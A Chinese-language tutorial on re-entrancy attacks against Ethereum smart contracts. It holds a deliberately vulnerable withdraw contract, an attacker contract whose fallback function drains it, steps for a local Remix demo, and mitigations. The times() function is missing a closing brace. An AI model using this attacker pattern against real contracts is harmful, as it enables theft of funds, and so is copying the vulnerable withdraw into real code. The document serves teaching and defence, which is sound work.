# 重入攻击(Re-Entrancy)
# 前置
# 原理
以太坊智能合约能够调用其他外部合约的代码。而这些合约通常也处理以太币,在调用外部合约时,会要求合约提交外部调用,这些外部调用就可以被攻击者劫持。
可以通过 fallback 回退函数使合约执行更多的代码,包括回调原合约本身。因此重入攻击有点像间接调用递归函数。
攻击合约可以回调合约上的一个函数,重新进入合约上的任意位置的代码并执行,如果没有防御措施,合约中的函数可能会被多次执行。
# 大致操作
攻击者在外部地址部署攻击合约,并在该合约写入包含 fallback 回退函数的恶意代码,当合约把以太币发送到该地址时,恶意代码会被激活,这些代码会在没有保护的合约上执行函数。
# Fallback 回退函数
# fallback 函数的定义
function() // 无函数名、无函数参数、无返回值 | |
{ | |
} | |
// 当要调用的函数找不到时就会触发对 fallback 函数的自动调用。 | |
// 由于 Solidity 中提供了编译期检查,所以不能直接通过 Solidity 调用一个不存在的函数。但可以使用 Solidity 的提供的底层函数 address.call 来模拟这一行为。 | |
function() | |
{ | |
FallbackCalled(msg.data); | |
} |
# fallback 函数的使用
使用 send () 函数向某个合约直接转账时,这个行为没有发送任何数据,所以接收合约总是会调用 fallback () 函数。
如果要在合约中通过 send () 函数接收以太币,就必须定义 fallback 函数(否则异常),且 fallback 函数必须添加关键字 payable(否则结果将为 false)。
发送以太币一方的合约中的 send () 函数可以不用定义 fallback 函数。
# 实例
# 代码
构造一个漏洞合约,用于存放一定数量的以太币。
同时构造一个攻击合约,用于窃取漏洞合约的以太币。
// 声明 solidity 版本 | |
pragma solidity ^0.4.23; | |
// 漏洞合约 | |
contract theDAO{ | |
mapping (address => uint) public _credit; | |
event Deposit(address _who, uint value); | |
event Withdraw(address _who, uint value); | |
// 存款函数,攻击合约攻击时会先存入一定金额 | |
function deposit() payable public returns (bool) { | |
_credit[msg.sender] += msg.value; | |
emit Deposit(msg.sender, msg.value); | |
return true; | |
} | |
// 取款函数 | |
//_credit 为账户在该合约的存款 | |
//amount 是单次取款的金额 | |
// 关键漏洞函数 | |
function withdraw(uint amount) public returns (bool) { | |
if (_credit[msg.sender] >= amount){ | |
msg.sender.call.value(amount)(); | |
_credit[msg.sender] -= amount; | |
emit Withdraw(msg.sender, amount); | |
return true; | |
} | |
return true; | |
} | |
// 查询函数,查看账户在该合约中的存款 | |
function creditOf(address to) public returns (uint) { | |
return _credit[to]; | |
} | |
// 查询函数,查看该合约中的余额 | |
function checkBalance() public constant returns (uint) { | |
return this.balance; | |
} | |
} | |
// 攻击合约 | |
contract Attacker { | |
theDAO public _newDAO; | |
uint256 public times = 0; | |
address _owner; | |
function Attacker(theDAO addr) payable { | |
_owner = msg.sender; | |
_newDAO = addr; | |
} | |
function attack() public returns (bool) { | |
// 向漏洞合约存钱 | |
_newDAO.deposit.value(10)(); | |
// 从漏洞合约取钱 | |
_newDAO.withdraw(10); | |
return true; | |
} | |
function checkBalance() public constant returns (uint) { | |
return this.balance; | |
} | |
// 记录函数,记录 fallback 函数执行次数 | |
function times() public constant returns (uint) { | |
return times; | |
//fallback 回退函数 | |
function() public payable { | |
times += 1; | |
_newDAO.withdraw(10); | |
} | |
} |
# 合约编译、部署与执行
合约的编译和部署在在线编译网站 http://remix.ethereum.org 上进行,也可以选择本地编译器 solc 进行。
# 编译合约
注意编译版本尽量与声明版本号一致。
# 部署合约
本次演示合约将部署在本地环境 JavaScript VM 上。
首先部署漏洞合约 theDAO,部署完成后向合约转入一定金额。
接着部署攻击合约,在部署时输入漏洞合约的地址,并在部署时转入一定金额。
这里转账顺序与合约源码有关,有三种接受转账方式(部署转账、合约转账、直接转账),在编译前根据需求(安全性、便利性)灵活使用。
# 执行攻击
- 先分别点击漏洞合约的 checkBalance 选项和攻击合约的 checkBalance 选项,确认攻击前两个合约内的金额数量。
- 点击攻击合约的 attack 选项,对漏洞合约进行攻击。
- 待攻击完成后,分别点击漏洞合约的 checkBalance 选项和攻击合约的 checkBalance 选项,确认攻击后两个合约内的金额数量。
- 点击攻击合约的 times 选项,以攻击合约执行一次 fallback 回退函数为指标,查看攻击次数。
# 过程分析
1.攻击合约执行_newDAO.deposit.value(10)();向漏洞合约转账10wei,这时漏洞合约会记录攻击合约的存款为10wei。其中sender是攻击合约地址,value是我们转入的金额。 | |
2.攻击合约接着执行_newDAO.withdraw(10);意图从漏洞合约中取出10wei。这时漏洞合约会比较我们希望取出的金额和存款的金额,因为我们是存10取10,所以成功通过比较。 | |
3.这时会执行漏洞合约中的msg.sender.call.value(amount)();使漏洞合约向攻击合约转账10wei。 | |
4.攻击合约接收到10wei后执行fallback回退函数,从而执行_newDAO.withdraw(10);继续从漏洞合约中取出10wei。 | |
5.因为在上一次取款中,漏洞合约执行msg.sender.call.value(amount)();后因为回退函数跳转回withdraw的开头,并没有执行_credit[msg.sender]-=amount;导致攻击合约在漏洞合约中的余额还是10wei(尽管我们已经取走了10wei),因此漏洞合约继续向攻击合约转账10wei。 | |
6.攻击合约会不断重复步骤4和5,直到gas达到该次交易的上限或者漏洞合约中的余额用尽。 | |
7.这时才会继续往下执行_credit[msg.sender]-=amount;让攻击合约在漏洞合约中的存款变为0,然后结束合约的执行。 |
# 运行结果
攻击合约通过重入攻击,窃取了漏洞合约中大量以太币。
# 预防措施
在合约中,遇到向外部合约转账的情况时,使用 solidity 中内置的 transfer () 函数,而不是 call () 函数。
transfer () 函数仅会发送 2300 Gas 给用于合约的外部调用,这不足以攻击合约反复重入原合约。
确保所有改变状态变量的逻辑,都发生在以太币被发送出合约(或任何外部调用)之前。
上面的合约之所以能被重入攻击,很大一部分原因在于漏洞合约在转账时是先转账,再对用户的余额数进行修改,这使得合约在被重入攻击时,用户的余额数一致不变。如果是先修改余额再转账,攻击合约在第一次重入取款函数时,就会因为余额不足而失败。
引入互斥锁,添加一个状态变量,在合约代码执行期间锁定合约,使得代码执行完之前只能有一个线程执行函数,防止函数被重入调用。